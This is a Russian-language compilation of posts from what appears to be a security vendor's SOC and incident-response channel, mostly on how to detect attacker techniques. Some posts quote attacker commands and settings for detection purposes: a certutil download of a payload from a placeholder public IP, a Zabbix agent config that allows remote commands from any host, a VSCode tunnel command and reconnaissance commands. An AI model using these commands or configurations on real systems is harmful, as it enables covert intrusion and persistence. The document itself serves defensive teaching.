purple shift

Говорят, в нашей индустрии не хватает SOC-аналитиков. Может быть, молодёжь просто не знает, что это за зверь? На этот случай наш эксперт Сергей Солдатов написал подробное разоблачение мифов о работе в SOC.

Если вкратце, SOC-аналитик – это хороший способ войти в сферу ИБ. Но способ достаточно требовательный к кругозору: от хардовых инженерных скиллов до софтовых коммуникационных (см. скриншот).

В комментариях к статье возник интересный вопрос: если джуниор может за четыре года вырасти до тимлида, то через несколько лет в компании будет множество новых кандидатов в тимлиды. Куда же девать старых тимлидов?

Мнение Сергея по этому вопросу читайте на Хабре. Мы же здесь добавим лишь один совет: смотрите на диаграмму карьерного пути и дорисовывайте дуги в другие организации (существующие или новые). Мы за здоровую конкуренцию. Да и вообще путь настоящего самурая – открыть свой собственный бутик или ресторан.

Среди интересных инцидентов прошлого года – выявлен очень незаметный способ закрепиться и латерально перемещаться. Небольшое количество изменений в системе, вне поверхности обычного абузного легитимного win-based и под покрывалом обычного софта.

Атакующие приносят нагрузки:

certutil.exe -urlcache -split -f hxxp://<Public IP>/<file with payload>

Используют возможности популярной системы мониторинга Zabbix с конфигурацией, разрешающей удалённое выполнение команд:

EnableRemoteCommands=1
LogFile=0
Server=0.0.0.0/0
ListenPort=5432

Для Zabbix-агентов на фаерволе злоумышленники открывают порт 5432 с красивым и правильным именем PGSQL.

В результате использования этих техник атакующие, очень похожие на группировку Flax Typhoon, более двух лет остаются незамеченными в системе – пока не приходят эксперты по реагированию на инциденты. Подробнее об этой атаке, а также о других интересных инцидентах, расследованных нашими коллегами в прошлом году:
https://securelist.com/incident-response-interesting-cases-2023/113611/

В прошлом посте описывали пробив через уязвимость WinRAR, который используется многими атакующими в этом году. Например, хакерская группировка Head Mare часто применяет такую технику для компрометации своих жертв.

С деталями работы этой группировки, атакующей компании в России и Беларуси, можно ознакомиться в отдельном отчёте наших коллег. А здесь мы сконцентрируемся на таком интересном вопросе: какой самый дешёвый способ обнаружить атаку Head Mare до этапа влияния?

На этапе разведки (при включённом журналировании командных строк или EDRе) мы увидим вот такие команды:

cmd /c “echo %USERDOMAIN%”
arp -a
cmd /c “cd /d $selfpath && whoami”
cmd /c “cd /d $appdata && powershell Get-ScheduledTask -TaskName “WindowsCore””

Чтобы установить, насколько критичны подобные события и как далеко продвинулся атакующий в инциденте, необходимо посмотреть:
– привилегии пользователя, от которого запускали команды,
– что потенциально могло утечь из памяти (lsass) и/или hive-ов реестра с кредами.

Если есть привилегированные пользователи домена, то оперативность и размах реагирования должны быть масштабными: например, не просто саспенды и смена паролей пользователям, а отключение сетевой связности. И самое главное – необходимо сразу начинать восстанавливать хронологию атаки до первоначального пробива.

Безусловно, это не весь арсенал команд из разведки – пример большого списка смотрите здесь. Но мы отметили самые распространённые команды, которые будут использованы для первого получения доступа.

Продолжаются эксплуатации 1-day уязвимости в WinRAR через социалки. Взято из самых свежих инцидентов у наших клиентов: архив с эксплуатацией CVE-2023-38831 для первоначального пробива. Более того – это самый используемый вектор по нашей статистке за прошлый год, и в этом году он тоже в ТОП-3.

Ловим такой пробив, собирая EDR-like телеметрию и/или делаем аудит запуска процессов (4688). Обращаем внимание на:
– файлы с двойным расширением и/или пробелом в расширениях: ".pdf. cmd"
– запуски от winrar-процесса дочерних исполнений: cmd, powershell, ...

Если вы увидели такое, что делать:
– Найти письмо/письма, связанные с этими подозрительными событиями,
– Идентифицировать все пересылки этих писем внутри/вне организации,
– Найти всех получателей таких писем и составить список всех хостов, где их могли открывать,
– Собрать и сохранить письма с нагрузками, а также данные, залитые на хосты после запуска нагрузки из письма,
– Запустить всё собранное в песочнице или разобрать руками, чтобы вытащить индикаторы: c2, пути, способы закрепления, ...
– Проверить все индикаторы по всей организации,
– Реагировать,
– И да, на любом этапе можно подключать внешнюю помощь по расследованию и реагированию.

Мейнфреймы IBM на базе операционки z/OS могут показаться вымершими динозаврами из глубокого прошлого. Однако велики шансы, что в сердце ваших бизнес-процессов жужжат именно эти шкафы. Их можно встретить во многих крупных организациях, где требуется обработка большого количества транзакций (банки, биржи, аэропорты и др.)

Из-за высокой стоимости и узкой специализации мейнфреймы редко встречаются в проектах по анализу защищённости. Поэтому в публичном доступе очень мало знаний о том, как тестировать мейнфреймы на проникновение и как детектировать атаки на них.

Наш эксперт Денис Степанов собирает такие знания – всё, что понадобится пентестеру, чтобы получить контроль над мейнфреймом, повысить привилегии, найти возможные вектора для бокового перемещения и эксфильтровать данные:
https://securelist.ru/zos-mainframe-pentesting/110237/

А помните, мы упоминали инцидент, когда атакующий получил доступ к почте сотрудника, и дождавшись переписки с аттачем, добавил вредоносный макрос в документ? Очень аккуратная атака: никаких подозрительных ссылок, никаких посторонних адресов. Просто один реальный сотрудник пишет в рассылке «пришлите ваши правки к документу», а другой сотрудник посылает в ответ тот же документ с правками. После этого в корпоративную сеть попадает бэкдор, и атакующий развивает атаку.

В рамках этого инцидента было одно событие, которое часто приводит к дискуссиям: всегда ли заход с non-Windows хоста на Windows-систему по RDP является алертом? Понятно, что так могут делать и легитимные админы. Однако подобные заходы всегда привлекают внимание ИБ-экспертов.

Как обнаружить такую активность? Это непросто:

– Вследствие различий в реализации определённых протоколов на Linux и Windows можно искать такие аномалии в трафике с помощью IDS.
– Некоторые утилиты могут оставлять артефакты в штатных событиях Windows (например, имя хоста-источника в событиях логона).
– Перспективным выглядит использование ML для определения нестандартных (новых) пользователей и источников логона на хосте. Или просто чётко заданные правила с источниками админских машин, а всё остальное – алерт.
– Лучше всего иметь инвентаризацию для обогащения источника и назначения событий ИБ типом ОС.

Остальные детали инцидента и расследования – в докладе Алины Сухановой «Взлом через MS Exchange» (OFFZONE, 23 августа, 13:40)

Мы уже рассказывали про туннель через QEMU, а теперь – ещё одна интересная техника туннелирования от атакующих, с использованием VSCode (Visual Studio). Работает так:

– Злоумышленник включает опцию «Туннель разработки» из графического интерфейса VSCode на скомпрометированной машине, либо включает эту опцию с помощью консольной версии (её легче загрузить на хост без VSCode):

code.exe tunnel [service install] [--name "tunnel-name"] 

– Поднимается туннель с легитимными серверами Microsoft Azure (домен *.tunnels.api.visualstudio.com).

– Атакующий подключается по ссылкам вида vscode.dev/tunnel/<victim's hostname>/<tunnel name>.

– IP атакующего не видно, а сам трафик зашифрован внутри SSH-over-HTTPS.

Что ловить защитникам:
– Запуски code.exe с ключиком tunnel в командной строке
– Создание файла code_tunnel.json в %UserProfile%\.vscode-cli\
– Цепочку процессов code.exe -> cmd.exe -> node.exe -> winptyagent.exe
– Домены в трафике или резолвах DNS *.tunnels.api.visualstudio.com и *.devtunnels.ms

Больше деталей про туннели через VSCode и не только – на конференции OFFZONE 23 августа в 13:00, в докладе Кирилла Магаськина "LOLApps: подножный корм хакера".

Если вы по-прежнему мечтаете разложить потенциальные угрозы для вашей организации по матрице MITRE ATT&CK, оценить покрытие и приоритизировать задачи, но при этом вы пропустили наш вебинар по этой теме – не отчаивайтесь!

Теперь полную инструкцию можно прочитать в статье Андрея Тамойкина и Романа Назарова:
https://securelist.ru/detection-engineering-backlog-prioritization/109883/

Повысить привилегии через Active Directory Certificate Services (ADCS) можно с помощью многих разных техник. Сегодня разбираем, как детектировать атаку ADCS ESC13.

Вкратце: класс Issuance Policy в Active Directory содержит атрибут msDS-OIDToGroupLink, и этот атрибут можно использовать для линковки Issuance Policy с группой AD. Таким образом, системы будут авторизовать пользователей, как будто они включены в группу. Работать это будет в случае, если пользователь предоставит сертификат с необходимой Issuance Policy.

Из-за схожести таких билетов с золотыми, для их выявления можно воспользоваться утилитой FindGT Александра Родченко. Либо использовать скрипт Check-ADCSESC13 для аудита небезопасных конфигураций в AD, который предлагают сами авторы техники ESC13.

А чтобы детектировать атаку во время эксплуатации, нужно наблюдать за изменениями соответствующих объектов AD и ADCS. В частности, можно получить событие добавления Issuance Policy в Certificate Template – и посмотреть, есть ли у него линк с какой-то группой. Также необходимо следить за изменением атрибута msDS-OIDToGroupLink. И ещё полезно проверять опубликованные Certificate Templates с потенциально эксплуатируемой конфигурацией, содержащие Issuance Policy – и следить, какие пользователи их запрашивают.

Подробнее об этой атаке и методах детектирования – в статье Дмитрия Щетинина.

Иногда наши эксперты разговаривают не только кодами, но и голосом. В подкасте «Смени пароль» – серьёзный разговор про становление героя, который более 20 лет занимается оффенсивом (конечно же, только этические пентесты и «красные команды»). Как всё начиналось, как устроена эта профессия сейчас и с какими проблемами сталкиваются пентестеры в своей работе – рассказывает Александр Зайцев:

«В школе тебе дарят 286 компьютер, работающий на частоте 12,5 МГц, его потенциально можно подключить к Интернету по диалапу на скорости 9600 бод. Правда, диалап очень платный, надо искать демо-доступы, обзвонить кучу систем, найти гейты в сеть X.25, оттуда искать возможность зацепиться по PPP и вообще понять, где ты находишься и куда тебя выпустит… Тогда это был необходимый клубок вещей, которые нужно знать, если ты хотел получать доступ к растущим объёмам недоступной ранее информации. Сама среда задавала высокий порог входа.»

Слушать тут: https://podcast.ru/e/7Y9dddSWOjk

А другой выпуск того же подкаста посвящён тяжёлой доле специалистов по AppSec, которые анализируют защищённость веб-приложений:

«Печально, когда заказчик не верит в уязвимость и не может понять, как воспроизвести атаку. Ему уже и скрипт скинули, а он всё говорит, что у него есть защита от такого брутфорса. Приходится очень долго объяснять, даже записывать видео с атакой».

Слушать тут: https://podcast.ru/e/9dn8sQEP7wP

Экспертов по безопасности тоже иногда атакуют. А для атак через Visual Studio есть целая россыпь векторов.

Недавно наши аналитики разбирали атаку, направленную на SUO-файлы, где хранятся различные параметры и настройки пользователя проектов VS. Парсится файл с использованием BinaryFormatter.Deserialize() – и можно применять Ysoserial. Это приводит к тому, что при запуске проекта VS (даже такого, в котором не содержится ни строчки кода) будет запускаться пейлоуд, что содержится в SUO-файле. Сам Microsoft предусмотрительно не рекомендует использовать подобные методы обработки данных, но для себя они делают исключение.

Скачали VS проект? Удалите SUO-файл (...\.vs\[Project name]\v17\.suo). Часто открываете внешние проекты? Настройте trusted locations для VS IDE. Подробный разбор атаки и защиты – в статье Глеба Иванова.

Сейчас расскажем, как мы починяем детектирующие правила (ханты) с помощью их конверсии – то есть знаний о том, насколько правила проваливаются в алерты, которые говорят о настоящем инциденте. Повышение конверсии позволяет уменьшить объём работы аналитика и чётче найти инцидент.

На одну и ту же реализацию техник атакующих мы разрабатываем N правил обнаружения, основанных на разных подходах: на продуктовых детектах, на TTPs, с применением ML, и так далее. Такой метод затрудняет обход обнаружения. Очевидная идея для повышения конверсии – найти такие комбинации правил, которые по отдельности показывают плохую конверсию, но в комбинации с другими – практически никогда не ошибаются.

Примерами правил с околонулевой конверсией (из нашей работы) могут быть suspicious_process_spawning_as_trusted_installer, unusual_dynamic_assemblies, regsvr32_execute_from_public_directory и другие (см. скриншот выше).

А вот пример комбинации. Монтирование папки ADMIN$ (mount_remote_admin_share_as_disk) само по себе демонстрирует нулевую конверсию. Однако в комбинации с использованием psexec и сбором информации о сети (mount_remote_admin_share_as_disk, network_connections_discovery, process_started_by_psexec) это правило даёт конверсию 100%.

В статье Сергея Солдатова более детально показано, как мы ищем кандидатов на комбинацию с низкоконверсионными правилами, чтобы оправдать расход электричества при использовании этих правил на обработке телеметрии.

Операционка Windows даёт возможность зарегистрировать как службу исполняемый файл или скрипт для закрепления в системе и обеспечить стабильность восстановления в случае его завершения. Но не только добрые IT-специалисты пользуются этим удобством.

Злоумышленники в своих атаках применяют для решения этой задачи легитимные утилиты, например NSSM, SRVANY из набора Microsoft Windows Resource Kit, или SRVANY-NG. Эти утилиты регистрируются в системе в качестве сервиса и берут на себя роль управления запуском, привилегиями, зависимостями и восстановлением исполняемого файла. А ещё эти утилиты позволяют скрыть целевой исполняемый файл или выполняемую команду в событии создания службы в журналах Windows — чтобы обойти детектирование со стороны SOC.

Как же их детектировать? Нужно мониторить не только события создания сервисов, но и ключи реестра, связанные с параметрами сервисов. Подробности — в статье Дмитрия Лифанова.

Большинство ИБ-экспертов с удовольствием применяют фреймворк MITRE ATT&CK в семейных отношениях (Initial Access, Defense Evasion, Command&Control) и на работе. Но Матрица большая, и у каждого Нео возникают вопросы: как её всю покрыть, и надо ли всю, и с чего начать, и с какой скоростью и с какой глубиной покрывать?

О том, как приоритизировать эти задачи, мы расскажем в отдельной статье и на вебинаре. А сейчас – основные полезные идеи.

Чтобы измерить ваш уровень ATT&CK-успеха и его неминуемый будущий рост, нужно сначала все записать и посчитать. Например, ваш SOC может автоматизировать оценку источников данных и покрытия по техникам MITRE в вашей организации, используя инструмент DeTT&CT. А затем полученные данные можно визуализировать с помощью MITRE ATT&CK Navigator: он покажет, какие техники ваш SOC может обнаружить при текущем наборе источников данных. Пример – на скриншоте выше. Закрашенное – это ваши возможности по детектированию, а незакрашенное – возможности для неизбежного личностного роста.

А когда вы понимаете эти возможности в комбинации с актуальными угрозами (ваш threat intelligence, ну или просто возьмите рансомвару для начала), то можете сформировать приоритеты разработки детектов, на основе уже посчитанных параметров visibility_score и attacker_score:

(1) Самые релевантные и критичные техники MITRE (из вашего TI), для детектирования которых ничего не нужно менять в ваших подходах журналирования.
(2) Критичные техники, но для их детектирования необходимо добавить логов, написать коннекторов и прочее.
(3) Менее популярные техники с уже готовыми журналами.

Более подробно о том, как формировать и приоритизировать бэклог разработки детектов по MITRE, мы расскажем на вебинаре, который пройдёт 9 июля в 16:00 МСК на платформе BrightTalk (после будет и статья): https://kas.pr/o1os

Исследователи Specter Ops выявили интересную особенность работы платформы CLR с COM-объектами, что позволяет атакующему устроить боковое перемещение. Эксплуатируется механизм включения профилировщика CLR (.NET Profiler), а также механизмы колбеков, которые используются этим профилировщиком.

При чём здесь COM-объекты? А просто профилировщик реализован как com-сервер, который принимает колбеки от исполняющейся в рантайме программы. И оказывается, что при установке переменной COR_PROFILER_PATH в качестве значения можно указать путь на WebDAV-шару. Тогда в процесс будет подгружена библиотека с удалённого сервера.

Как детектировать такую атаку? Давайте посмотрим, что происходит после выполнения эксплоита (скриншот выше). Видим, что CLR заботливо загружает библиотеку с WebDAV-шары. Такая загрузка библиотеки нетипична, и можно сделать хант на это. Подобная активность размечается также хантами на необычный профилировщик (если ваш EDR детектирует T1574.012).

Вообще, среда CLR забавно работает с COM-объектами. О том, как загружаются сборки, которые реализуют COM-сервер, читайте в более подробной статье Александра Родченко. Среда исполнения и тут проявляет заботу, позволяя загрузить такие сборки с WebDAV-шары.

Есть и другие исследования (1, 2, 3, 4) на тему того, что делает среда исполнения перед исполнением кода. Это многогранный процесс со множеством шагов – и некоторые из них можно «донастроить» так, чтобы загрузился и исполнился код, который вы не ждёте.

Некоторые умельцы до сих пор используют старую уязвимость Windows, связанную с групповыми политиками. Механизм Group Policy Preferences (GPP) позволяет админам добавлять новых локальных пользователей на каждый хост в домене. Пароли при этом шифруются, но их можно найти и расшифровать (подтехника T1552.006). Невзирая на патч MS14-025, инциденты по-прежнему случаются.

Наша рекомендация по детекту: создайте учётку-ловушку, подложив её данные в xml-файл на SYSVOL. И мониторьте использование этой учётки. Подробности – в статье Глеба Иванова.

Уязвимость CVE-2024-21378 позволяет выполнить произвольный код в системе, где установлен MS Outlook. А всё потому, что Exchange и Outlook, общаясь по протоколу MAPI, могут пересылать друг другу всякое разное и вообще немыслимое.

Например, можно создать собственный тип сообщения и указать клиенту Outlook, что для отрисовки этого сообщения следует использовать некую особую форму. И эту форму тоже можно передать адресату: такому сообщению соответствует класс IPM.Microsoft.FolderDesign.FormsDescription. А сама форма представляет собой DLL-библиотеку, которая хранится как вложение в сообщении.

Чтобы эксплуатировать уязвимость, злоумышленник отправляет жертве форму, которая открывает определённый класс сообщений. А затем отправляет письмо-триггер, принадлежащее к этому классу сообщений. В результате Outlook загружает вредоносную форму (см. скриншот).

Наш эксперт Александр Родченко проанализировал процесс эксплуатации этой уязвимости и написал утилиту, которая сканирует скрытые сообщения и выявляет попытки атаки. Подробности – в статье по ссылке.

Мы уже пугали вас атаками через подрядчиков-аутсорсеров – когда рассказывали, как хакеры закрепляются в инфраструктуре жертв, используя ngrok или AnyDesk. И эти страшилки неслучайны: по данным нашей IR-команды, в 2023 году атаки через «доверительные отношения» вошли в тройку самых популярных векторов.

А теперь коллеги выкатили подробный инструктаж на эту тему: как чаще всего организован доступ между целевой организацией и поставщиком услуг, какими способами злоумышленники получают доступ в сеть поставщика и как развивают атаку в сторону его клиентов. И главное – что делать, чтобы такого не случилось у вас.

Один из интересных фактов этого исследования: обычно злоумышленники остаются необнаруженными в инфраструктуре целевой организации до трёх месяцев, прежде чем развивать атаку (например, шифровать данные). По идее, этого времени достаточно, чтобы ИБ-служба выявила инцидент и отреагировала на него до того, как настанут критические последствия. При этом в подавляющем большинстве инцидентов антивирусные решения детектировали подозрительную активность – просто вердикты антивирусов не получали должного внимания.

Полный текст исследования "Trusted Relationship Attack: доверяй, но проверяй":
https://securelist.ru/trusted-relationship-attack/109620/

Новые-старые подходы вымогателей: использование BitLocker. Это встроенное в Windows средство шифрования по идее должно защищать пользовательские данные от кражи – но может с таким же успехом защитить компьютер от его владельца! Наши эксперты проанализировали новую атаку, где злоумышленники научились ещё лучше прятать ключи криптозащиты и затруднять работу реагирования на инцидент.

Интересно, что перед шифрованием хакеры конфигурируют машину в очень безопасное состояние. Примерно так и нужно конфигурировать компьютер для защиты… а здесь это делают атакующие, чтобы "защитить" захваченную машину:

fDenyTSConnections = 1: отключает удалённый доступ по RDP
scforceoption = 1: требует аутентификацию по смарт-карте
UseAdvancedStartup = 1: требует BitLocker PIN для перезагрузки
UsePIN = 2: требует стартовый PIN с доверенным модулем (TPM)
... и так далее.

Отсюда удивительный совет для защитников: ловите изменения в реестре, которые выглядят как слишком хороший харденинг. Особенно подозрительно, если после такой безопасной конфигурации с компьютера перестала приходить телеметрия.

Подробности работы трояна-шифровальщика на основе BitLocker:
https://securelist.ru/ransomware-abuses-bitlocker/109591/